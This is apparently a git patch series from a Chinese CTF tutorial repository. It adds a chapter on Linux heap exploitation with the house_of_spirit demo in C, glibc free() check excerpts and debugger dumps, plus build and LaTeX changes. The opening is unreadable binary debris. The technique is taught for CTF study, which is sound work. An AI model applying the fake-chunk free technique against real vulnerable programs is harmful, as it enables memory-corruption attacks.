z@x2#ydx&LFEDKapm;LFqcGyBcg^9D){ulIHs-p_#8{>3BIhy4i-q2$xRugx;Y8d#s z)SB!rtc2-2tW101JcjGb%i@`J1uqDg67^?9JaFb&KuN}y9WAY>Fp!~E@~bTy8Q@7! zR-hLUw9v}v=n9ay&m(G`&R$RaJ4 zpMNCfGy*d8Bgx&*sUz#s<{9JZvD<0Z;Uj9mQJ1(uc_yrCemzAh-33#T7Q1FKg{mgK zB<7DIh;8+z3MaCJ837|33*q26uKN7Xx0r4?_mCaRCH~w{9(}QNANt|7we-DK|6o%L zuv91m1aAxoCMz{cC;`bQb;pnZbFj!+4KaoeKS@l{#;>|Zd>P0zHQo$c?e+uQvONg# zl+MqUv1CZ?kJ@YmPB6`*HJ0B&x?@^G-xz1eVO-9am~KJ?;>2x|jaXT8B{t%+Q>gJH zl#;5tB{DNMxRPH4=^Tr>jkbSCiB*aAaUER#`+t^Amg9?GlbJxH3}~Z9Eedo9oRF=o zGtskA(WLa~&EfEHv@pC9dYYwbn+a&!(L{g}7wKBd9X(xGAQ%vdzrO-CdK33*S=BiS zrB$5Lur&1g{Yl(qt>4G#=@z4M^S#RKyqCq5av$Elp`v3V?~kSKXyUCOw5&cP{v!FO zdF}8#!Fmh=9m~d1t!&0lVH(?()e+qOWHL#^#;uEnf2MkC@@O2NytYUE%7h22uC+;n z>x45k{%2-(452QOgJNn4qH}pLqokQB5$-F&IwBsn?i&E<9CcU%&S0|spEW>M7!Z?< zG~v=!CHzo(Q!=rmvU6pWzH9=>Gr95{acCq6n7K|DN#pgG(Y*BXIr=M~ZX&MX1gYW{ zZeM4z!ARk*BLJv@k7x`nHV_Xu9)u*6{lPJlSY2U=b&oS*Q(E_|s@JvpLzJ3&yji^k zXU&ONXFF6obxml1I!07@_a&HMHnJGsyZssh?l+4QpU|O1R{6%ur&yK7ti!0IUtB}D zmxRMkgo5lEc;zqa?;@q7h2OZkxc&wGa=j-1x0MoV5-LqSRqBK9o!{w}dZO(NC&X5$ z-+107C~ER<#E;zceSd5SD;;-Fa;-7jI`y6|j~n1}58lCRQwzL%X4Ci$PmsxW%a7T zq+arA16#Z$vPUB(7E-O#=}Y?miV!}GR-SM5^EQBW6j8$VhRV&<+gF4Yavb^z*4V*U z-CqCwqMZ%+UVITn3>kNVVBL$GmIPG@Qi{rU!3?I{(fm4=-7N`bw_5I_H02WFnHLeuf?3**D|B>ie zg9i^*V;9?iO9(UB+fp`-B4rSmF9#y=bRsb~cdr8O)xJvkAs26h8nLKFiY;j(`j~br zI@bPzh^yZ{6?GA6{(yKf&1@m{^9TP;|8>lu#QO6av);wXK60~Q{?}%^xXON+TCZSS z9ZF|k70R$&B5&!tE`mt}k;lUu;z$Frp`GJV_*6@I+aJHC-WA6J@5*@w<4_=cn@S?6<}L=y7!8Xg+I^P{)z~P*r#;oXxlM zzbLO3PZB7p{gebQ0ONetaV9Q<5PpI?8%(4%GU=p$Hg`QK%&f;cHC53z(4Ye!DOsMA@9C)M@=q>+dH`$zldCBl2C(a=5b<@Z@}_DZ zEikGJE8r7U#y zvpW?STyV2f)jWp6Z(=Rew}G9q6Kk)r!;$Y>qcUH6#$gIJ`g9<2Q_dZ+;Zctb#C?J9 z3l@-OX-uKt737xBbMoT3+#)hmK!oWgVvY`ZFD1edoZ*2jilP}16=<~Fhljl;7qA+% z$?JXd3y!)e>Yu&!h6kxeoVt;u)~9sFUyf1&dT>cn zSTA?CNX3;PuFnOllWSbdlb#5(9k#$!oxKg?W$%`MC5|Y>I%@H=W))^_=;d6FSHyIX3<2sZ2-G_}tn~i=T?}>UV zq%`N4@Eb66oQr$+8wk*(n+C5&8YEb+u3%rG+7)#u&s;kks3EMY^{KU+0rh z_`>NTC2RLmRJPb0pO+bE*|FMeJBW?k%j8AiSe{{C2Xy~aD{=1KKwR?x@EJuEb0s#p z8NeG!qJ<`>fe;#AIOJ?Us^5sxn<*dBQn8?AW2}W_EqWjep0ND|9k-fs znd&AvD2@gd9hv^XwIK%;NB7lZFg^6PcF^f% zls@8p1bdS2jiR+&Fg>NtF{JyLSX&JK4cw{J{joeOThCz$$^pmXdTsD*iGp~Jygi(y zkH?{Y9e@dI-K4nc!Q%Kf8k^)N8fMjic8; zn|Du?5{aOwz!#=VBSn`4Ke5F5K336tST2_2v_$qJ$;&KT;m==C4}xRNEiLNz(PI%8 zU_kN~lKp6C0}r=MaAGH93b#sJTA(0suOKVREg{4jfH17~R_iB&jvEppB4BO{5iFCt)CTJ${ zMU7KGd#gbos-XB(1@WcB$HCMpZ+?GX?EGAB%SxLME)nuM7#eX80@H_1^Pn{m5XImd z#*6-!xE`w~2bRX#HEeQwo&F^%P1Za#3QgnbjM`?%I;=*?et!rD!1@p{<@^wEX{}9%!1(jHcKFjh>-OnH z?-a(PHti^AwK;#ZVIB)SQ@mhvtBO*plY9Oq0;m&Mlj z$NlzeoOYVD;9KaiMTW>VAQqxeRkRfeOAy++!~8?0g5RNsX-~jjEtz75X#W_1RbVxB z8=OBr<#MIm=eoyzeAxl*rIDeIqOBEDP=0f^bSqBFQ9O!1>reef7=7lw&kM9UN6CS9 z)NV}R6ZhfSjdvEKW(bj<(qbrjAcoYoSHOWUu!Kieib>x?8QOkxIXh-l70(~# zuwL-U`Z)M5ltqRMLX=5z+X~Nl=q9w0!(`OU{&u3SUMY}nKjA5Rf}Mu8AbeZhrhiZp z%BEolPnQtpWCL-4xuj$K@@ftd}^{s%+kcwjkvQfx7ZCjJs`KW%l$ zY4&&3*lJiA(n4wKYr!45X^>jP6qR~0?l==3Y$l<_>Qs{bv$YT6_sM%p$6c)Ag4%)w z-{5p2fm*ebC)eG!Hwxl<17&u7p=K-^i19t@v+o7 qV}yNHO1gNutOuv>j(B%(O)m*aZc@Laz Date: Thu, 11 Jan 2018 21:37:44 +0800 Subject: [PATCH 02/13] modify .travis.yml --- .travis.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.travis.yml b/.travis.yml index e69de29..4b89624 100644 --- a/.travis.yml +++ b/.travis.yml @@ -0,0 +1 @@ +language: html \ No newline at end of file From d4ccb1304c0aa766f2fd5421ebb835fb37c73fc8 Mon Sep 17 00:00:00 2001 From: skyel1u Date: Thu, 11 Jan 2018 22:00:18 +0800 Subject: [PATCH 03/13] modify .travis.yml --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 4b89624..7ce7579 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1 +1,2 @@ -language: html \ No newline at end of file +language: node_js +node_js: stable \ No newline at end of file From 4e9a45ed9d48a31e9d7281fb329a33e6a1c36b56 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sat, 13 Jan 2018 00:12:48 +0800 Subject: [PATCH 04/13] finish 3.3.5; add 3.3.6 --- README.md | 3 +- SUMMARY.md | 3 +- ...eap_exploit.md => 3.3.5_heap_exploit_1.md} | 238 ++++++++++++++++-- doc/3.3.6_heap_exploit_2.md | 30 +++ doc/3.3_pwn.md | 3 +- .../3.3.5_heap_exploit/house_of_spirit.c | 30 +++ src/Others/3.3.5_heap_exploit/unsafe_unlink.c | 10 +- 7 files changed, 282 insertions(+), 35 deletions(-) rename doc/{3.3.5_heap_exploit.md => 3.3.5_heap_exploit_1.md} (80%) create mode 100644 doc/3.3.6_heap_exploit_2.md create mode 100644 src/Others/3.3.5_heap_exploit/house_of_spirit.c diff --git a/README.md b/README.md index 1bce0da..be2837b 100644 --- a/README.md +++ b/README.md @@ -69,7 +69,8 @@ - [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) - [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - - [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) + - [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) + - [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) - [3.4 Web](doc/3.4_web.md) - [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) - [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/SUMMARY.md b/SUMMARY.md index b383b96..657b240 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -60,7 +60,8 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) * [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) * [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md) - * [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) + * [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md) + * [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md) * [3.4 Web](doc/3.4_web.md) * [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) * [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) diff --git a/doc/3.3.5_heap_exploit.md b/doc/3.3.5_heap_exploit_1.md similarity index 80% rename from doc/3.3.5_heap_exploit.md rename to doc/3.3.5_heap_exploit_1.md index 2f55dfe..31169c0 100644 --- a/doc/3.3.5_heap_exploit.md +++ b/doc/3.3.5_heap_exploit_1.md @@ -1,4 +1,4 @@ -# 3.3.5 堆利用 +# 3.3.5 Linux 堆利用(上) - [Linux 堆简介](#linux-堆简介) - [how2heap](#how2heap) @@ -7,14 +7,6 @@ - [fastbin_dup_into_stack](#fastbin_dup_into_stack) - [unsafe_unlink](#unsafe_unlink) - [house_of_spirit](#house_of_spirit) - - [poison_null_byte](#poison_null_byte) - - [house_of_lore](#house_of_lore) - - [overlapping_chunks](#overlapping_chunks) - - [overlapping_chunks_2](#overlapping_chunks_2) - - [house_of_force](#house_of_force) - - [unsorted_bin_attack](#unsorted_bin_attack) - - [house_of_einherjar](#house_of_einherjar) - - [house_of_orange](#house_of_orange) - [参考资料](#参考资料) @@ -206,6 +198,17 @@ Allocating 3 buffers. ``` 这个程序展示了利用 fastbins 的 double-free 攻击,可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。 +libc-2.23 中对 double-free 的检查过程如下: +```c + /* Check that the top of the bin is not the record we are going to add + (i.e., double free). */ + if (__builtin_expect (old == p, 0)) + { + errstr = "double free or corruption (fasttop)"; + goto errout; + } +``` + 三个 malloc 之后: ``` gef➤ x/15gx 0x602010-0x10 @@ -475,11 +478,11 @@ int main() { // int *a[10]; // int i; // for (i = 0; i < 7; i++) { - // a[i] = malloc(0x80); - // } - // for (i = 0; i < 7; i++) { - // free(a[i]); - // } + // a[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(a[i]); + // } free(chunk1_ptr); char victim_string[9]; @@ -757,11 +760,11 @@ gef➤ x/40gx 0x602010-0x10 int *a[10]; int i; for (i = 0; i < 7; i++) { - a[i] = malloc(0x80); - } - for (i = 0; i < 7; i++) { - free(a[i]); - } + a[i] = malloc(0x80); + } + for (i = 0; i < 7; i++) { + free(a[i]); + } ``` ``` gef➤ p &chunk0_ptr @@ -798,22 +801,203 @@ allocated by thread T0 here: ``` #### house_of_spirit +```c +#include +#include -#### poison_null_byte +int main() { + malloc(1); -#### house_of_lore + fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n"); + unsigned long long *a, *b; + unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); -#### overlapping_chunks + fprintf(stderr, "The first one: %p\n", &fake_chunks[0]); + fprintf(stderr, "The second one: %p\n", &fake_chunks[4]); -#### overlapping_chunks_2 + fake_chunks[1] = 0x20; // the size + fake_chunks[5] = 0x1234; // nextsize -#### house_of_force + fake_chunks[2] = 0x4141414141414141LL; + fake_chunks[6] = 0x4141414141414141LL; -#### unsorted_bin_attack + fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]); + a = &fake_chunks[2]; -#### house_of_einherjar + fprintf(stderr, "Freeing the overwritten pointer.\n"); + free(a); -#### house_of_orange + fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]); + b = malloc(0x10); + fprintf(stderr, "malloc(0x10): %p\n", b); + b[0] = 0x4242424242424242LL; +} +``` +``` +$ gcc -g house_of_spirit.c +$ ./a.out +We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks. +The first one: 0x7ffc782dae00 +The second one: 0x7ffc782dae20 +Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00. +Freeing the overwritten pointer. +Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10! +malloc(0x10): 0x7ffc782dae10 +``` +house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种可以同时控制栈和堆溢出的方法。利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个被 fake chunk。所以 fake chunk 的伪造是关键。 + +首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的,需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式: +``` +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 +0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +gef➤ x/gx &a +0x7fffffffdca0: 0x0000000000000000 +``` +伪造 chunk 时需要绕过一些检查,首先是标志位,`PREV_INUSE` 位并不影响 free 的过程,但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 `2*SIZE_SZ`(即大于16),小于 `av->system_mem`(即小于128kb),才能绕过对 next chunk 大小的检查。 + +libc-2.23 中这些检查代码如下: +```c +void +__libc_free (void *mem) +{ + mstate ar_ptr; + mchunkptr p; /* chunk corresponding to mem */ + + [...] + p = mem2chunk (mem); + + if (chunk_is_mmapped (p)) /* release mmapped memory. */ + { + [...] + munmap_chunk (p); + return; + } + + ar_ptr = arena_for_chunk (p); // 获得 chunk 所属 arena 的地址 + _int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用 +} +``` +`mem` 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换: +```c +/* conversion from malloc headers to user pointers, and back */ + +#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ)) +#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) +``` +当 `NON_MAIN_ARENA` 为零时返回 main arena: +```c +/* find the heap and corresponding arena for a given ptr */ + +#define heap_for_ptr(ptr) \ + ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) +#define arena_for_chunk(ptr) \ + (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) +``` +这样,程序就顺利地进入了 `_int_free` 函数: +```c +static void +_int_free (mstate av, mchunkptr p, int have_lock) +{ + INTERNAL_SIZE_T size; /* its size */ + mfastbinptr *fb; /* associated fastbin */ + + [...] + size = chunksize (p); + + [...] + /* + If eligible, place chunk on a fastbin so it can be found + and used quickly in malloc. + */ + + if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) + +#if TRIM_FASTBINS + /* + If TRIM_FASTBINS set, don't place chunks + bordering top into fastbins + */ + && (chunk_at_offset(p, size) != av->top) +#endif + ) { + + if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) + || __builtin_expect (chunksize (chunk_at_offset (p, size)) + >= av->system_mem, 0)) + { + [...] + errstr = "free(): invalid next size (fast)"; + goto errout; + } + + [...] + set_fastchunks(av); + unsigned int idx = fastbin_index(size); + fb = &fastbin (av, idx); + + /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ + mchunkptr old = *fb, old2; + [...] + do + { + [...] + p->fd = old2 = old; + } + while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); +``` +其中下面的宏函数用于获得 next chunk: +```c +/* Treat space at ptr + offset as a chunk */ +#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) +``` + +然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 `mem`。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中。 +``` +gef➤ x/gx &a +0x7fffffffdca0: 0x00007fffffffdcc0 +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed] +0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 +gef➤ heap bins fast +[ Fastbins for arena 0x7ffff7dd1b20 ] +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=) +``` + +这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。 +``` +gef➤ x/10gx &fake_chunks +0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk +0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000 +0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2 +0x7fffffffdce0: 0x4141414141414141 0x0000000000000000 +0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0 +gef➤ x/gx &b +0x7fffffffdca8: 0x00007fffffffdcc0 +``` +所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。 + +加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk: +``` +$ gcc -fsanitize=address -g house_of_spirit.c +$ ./a.out +We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks. +The first one: 0x7fffa61d6c00 +The second one: 0x7fffa61d6c20 +Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00. +Freeing the overwritten pointer. +================================================================= +==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0 + #0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca) + #1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24 + #2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8) +``` ## 参考资料 diff --git a/doc/3.3.6_heap_exploit_2.md b/doc/3.3.6_heap_exploit_2.md new file mode 100644 index 0000000..3332749 --- /dev/null +++ b/doc/3.3.6_heap_exploit_2.md @@ -0,0 +1,30 @@ +# 3.3.6 Linux 堆利用(中) + +- [how2heap](#how2heap) + - [poison_null_byte](#poison_null_byte) + - [house_of_lore](#house_of_lore) + - [overlapping_chunks](#overlapping_chunks) + - [overlapping_chunks_2](#overlapping_chunks_2) + - [house_of_force](#house_of_force) + - [unsorted_bin_attack](#unsorted_bin_attack) + - [house_of_einherjar](#house_of_einherjar) + - [house_of_orange](#house_of_orange) + + +[下载文件](../src/Others/3.3.5_heap_exploit) + +#### poison_null_byte + +#### house_of_lore + +#### overlapping_chunks + +#### overlapping_chunks_2 + +#### house_of_force + +#### unsorted_bin_attack + +#### house_of_einherjar + +#### house_of_orange diff --git a/doc/3.3_pwn.md b/doc/3.3_pwn.md index aab53bd..99411d6 100644 --- a/doc/3.3_pwn.md +++ b/doc/3.3_pwn.md @@ -4,4 +4,5 @@ - [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](3.3.4_rop.md) -- [3.3.5 堆溢出](3.3.5_heap_overflow.md) +- [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md) +- [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md) diff --git a/src/Others/3.3.5_heap_exploit/house_of_spirit.c b/src/Others/3.3.5_heap_exploit/house_of_spirit.c new file mode 100644 index 0000000..5e96581 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_spirit.c @@ -0,0 +1,30 @@ +#include +#include + +int main() { + malloc(1); + + fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n"); + unsigned long long *a, *b; + unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); + + fprintf(stderr, "The first one: %p\n", &fake_chunks[0]); + fprintf(stderr, "The second one: %p\n", &fake_chunks[4]); + + fake_chunks[1] = 0x20; // the size + fake_chunks[5] = 0x1234; // nextsize + + fake_chunks[2] = 0x4141414141414141LL; + fake_chunks[6] = 0x4141414141414141LL; + + fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]); + a = &fake_chunks[2]; + + fprintf(stderr, "Freeing the overwritten pointer.\n"); + free(a); + + fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]); + b = malloc(0x10); + fprintf(stderr, "malloc(0x10): %p\n", b); + b[0] = 0x4242424242424242LL; +} diff --git a/src/Others/3.3.5_heap_exploit/unsafe_unlink.c b/src/Others/3.3.5_heap_exploit/unsafe_unlink.c index 90ffbf1..9aae0b0 100644 --- a/src/Others/3.3.5_heap_exploit/unsafe_unlink.c +++ b/src/Others/3.3.5_heap_exploit/unsafe_unlink.c @@ -30,11 +30,11 @@ int main() { // int *a[10]; // int i; // for (i = 0; i < 7; i++) { - // a[i] = malloc(0x80); - // } - // for (i = 0; i < 7; i++) { - // free(a[i]); - // } + // a[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(a[i]); + // } free(chunk1_ptr); char victim_string[9]; From bf8f3d403889d9e74b24b0c15abfea73b35fe800 Mon Sep 17 00:00:00 2001 From: skyel1u Date: Sat, 13 Jan 2018 23:29:42 +0800 Subject: [PATCH 05/13] =?UTF-8?q?=E5=BC=80=E5=A7=8B=E4=BD=BF=E7=94=A8Latex?= =?UTF-8?q?=E5=86=99=E4=BD=9C=E5=95=A6=EF=BC=81=E4=B8=8D=E8=BF=87=E7=9B=AE?= =?UTF-8?q?=E5=89=8D=E5=A4=84=E4=BA=8E=E6=B5=8B=E8=AF=95=E6=91=B8=E7=B4=A2?= =?UTF-8?q?=E9=98=B6=E6=AE=B5=EF=BC=8C=E6=AC=A2=E8=BF=8E=E6=8F=90issue~?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG | 1 + CONTRIBUTION.md | 1 + tex/README.md | 18 ++ tex/base/abbreviations/abbreviations.tex | 54 ++++++ tex/{init => base/appendix/ZH.tex} | 0 tex/base/appendix/appendix.tex | 33 ++++ tex/base/appendix/appendixcontent.tex | 7 + tex/base/bibliography/bibliography.tex | 18 ++ tex/base/bibliography/references.bib | 62 +++++++ tex/base/copyright/EN.tex | 4 + tex/base/copyright/ZH.tex | 4 + tex/base/copyright/copyright.tex | 5 + tex/base/disclaimer/EN.tex | 5 + tex/base/disclaimer/ZH.tex | 5 + tex/base/disclaimer/disclaimer.tex | 5 + tex/base/headerfooter/headerfooter.tex | 88 +++++++++ tex/base/index/index.tex | 10 + tex/base/listoffigures/listoffigures.tex | 11 ++ tex/base/listoftables/listoftables.tex | 11 ++ .../lstlistoflistings/lstlistoflistings.tex | 14 ++ tex/base/tableofcontents/tableofcontents.tex | 10 + tex/base/titlepage/titlepage.tex | 37 ++++ tex/build/ctf_all_in_one.pdf | Bin 0 -> 63559 bytes tex/config/colors.tex | 14 ++ tex/config/config.tex | 33 ++++ tex/config/images.tex | 7 + tex/config/layout.tex | 162 ++++++++++++++++ tex/config/lstdefinestyle.tex | 150 +++++++++++++++ tex/contents/EN/contents.tex | 21 +++ tex/contents/EN/footnotes/footnotes.tex | 9 + tex/contents/EN/images/images.tex | 18 ++ tex/contents/EN/introduction/introduction.tex | 37 ++++ tex/contents/EN/japanese/japanese.tex | 4 + tex/contents/EN/landscape/landscape.tex | 6 + tex/contents/EN/mathematics/mathematics.tex | 30 +++ tex/contents/EN/snippets/bash.tex | 21 +++ tex/contents/EN/snippets/html.tex | 51 +++++ tex/contents/EN/snippets/java.tex | 33 ++++ tex/contents/EN/snippets/snippets.tex | 7 + tex/contents/EN/tables/tables.tex | 109 +++++++++++ .../useofabbreviations/useofabbreviations.tex | 33 ++++ .../useofbibliography/useofbibliography.tex | 9 + tex/contents/EN/useofindex/useofindex.tex | 3 + tex/contents/ZH/contents.tex | 21 +++ tex/contents/ZH/introduction/introduction.tex | 36 ++++ tex/contents/contents.tex | 5 + tex/dictionary/EN.tex | 19 ++ tex/dictionary/ZH.tex | 19 ++ tex/dictionary/dictionary.tex | 5 + tex/emptypage.tex | 3 + .../NotoSansCJKSC/NotoSansCJKsc-Bold.otf | 0 .../NotoSansCJKSC/NotoSansCJKsc-Regular.otf | 0 tex/fonts/Roboto/Roboto-Bold.ttf | 0 tex/fonts/Roboto/Roboto-BoldItalic.ttf | 0 tex/fonts/Roboto/Roboto-Italic.ttf | 0 tex/fonts/Roboto/Roboto-Regular.ttf | 0 tex/images/content/ben-kolde-367194.jpg | Bin 0 -> 160259 bytes tex/images/content/nate-grant-346782.jpg | Bin 0 -> 72767 bytes tex/images/favicon/favicon_32.png | Bin 0 -> 1763 bytes tex/images/favicon/favicon_white_32.png | Bin 0 -> 1812 bytes .../favicon/favicon_white_padding_192.png | Bin 0 -> 8996 bytes tex/main.tex | 175 ++++++++++++++++++ 62 files changed, 1443 insertions(+) create mode 100644 tex/README.md create mode 100644 tex/base/abbreviations/abbreviations.tex rename tex/{init => base/appendix/ZH.tex} (100%) create mode 100644 tex/base/appendix/appendix.tex create mode 100644 tex/base/appendix/appendixcontent.tex create mode 100644 tex/base/bibliography/bibliography.tex create mode 100644 tex/base/bibliography/references.bib create mode 100644 tex/base/copyright/EN.tex create mode 100644 tex/base/copyright/ZH.tex create mode 100644 tex/base/copyright/copyright.tex create mode 100644 tex/base/disclaimer/EN.tex create mode 100644 tex/base/disclaimer/ZH.tex create mode 100644 tex/base/disclaimer/disclaimer.tex create mode 100644 tex/base/headerfooter/headerfooter.tex create mode 100644 tex/base/index/index.tex create mode 100644 tex/base/listoffigures/listoffigures.tex create mode 100644 tex/base/listoftables/listoftables.tex create mode 100644 tex/base/lstlistoflistings/lstlistoflistings.tex create mode 100644 tex/base/tableofcontents/tableofcontents.tex create mode 100644 tex/base/titlepage/titlepage.tex create mode 100644 tex/build/ctf_all_in_one.pdf create mode 100644 tex/config/colors.tex create mode 100644 tex/config/config.tex create mode 100644 tex/config/images.tex create mode 100644 tex/config/layout.tex create mode 100644 tex/config/lstdefinestyle.tex create mode 100644 tex/contents/EN/contents.tex create mode 100644 tex/contents/EN/footnotes/footnotes.tex create mode 100644 tex/contents/EN/images/images.tex create mode 100644 tex/contents/EN/introduction/introduction.tex create mode 100644 tex/contents/EN/japanese/japanese.tex create mode 100644 tex/contents/EN/landscape/landscape.tex create mode 100644 tex/contents/EN/mathematics/mathematics.tex create mode 100644 tex/contents/EN/snippets/bash.tex create mode 100644 tex/contents/EN/snippets/html.tex create mode 100644 tex/contents/EN/snippets/java.tex create mode 100644 tex/contents/EN/snippets/snippets.tex create mode 100644 tex/contents/EN/tables/tables.tex create mode 100644 tex/contents/EN/useofabbreviations/useofabbreviations.tex create mode 100644 tex/contents/EN/useofbibliography/useofbibliography.tex create mode 100644 tex/contents/EN/useofindex/useofindex.tex create mode 100644 tex/contents/ZH/contents.tex create mode 100644 tex/contents/ZH/introduction/introduction.tex create mode 100644 tex/contents/contents.tex create mode 100644 tex/dictionary/EN.tex create mode 100644 tex/dictionary/ZH.tex create mode 100644 tex/dictionary/dictionary.tex create mode 100644 tex/emptypage.tex create mode 100644 tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Bold.otf create mode 100644 tex/fonts/NotoSansCJKSC/NotoSansCJKsc-Regular.otf create mode 100644 tex/fonts/Roboto/Roboto-Bold.ttf create mode 100644 tex/fonts/Roboto/Roboto-BoldItalic.ttf create mode 100644 tex/fonts/Roboto/Roboto-Italic.ttf create mode 100644 tex/fonts/Roboto/Roboto-Regular.ttf create mode 100644 tex/images/content/ben-kolde-367194.jpg create mode 100644 tex/images/content/nate-grant-346782.jpg create mode 100644 tex/images/favicon/favicon_32.png create mode 100644 tex/images/favicon/favicon_white_32.png create mode 100644 tex/images/favicon/favicon_white_padding_192.png create mode 100644 tex/main.tex diff --git a/CHANGELOG b/CHANGELOG index 2d0086e..4d86662 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,4 @@ +2018-01-23:开始尝试使用Latex写作 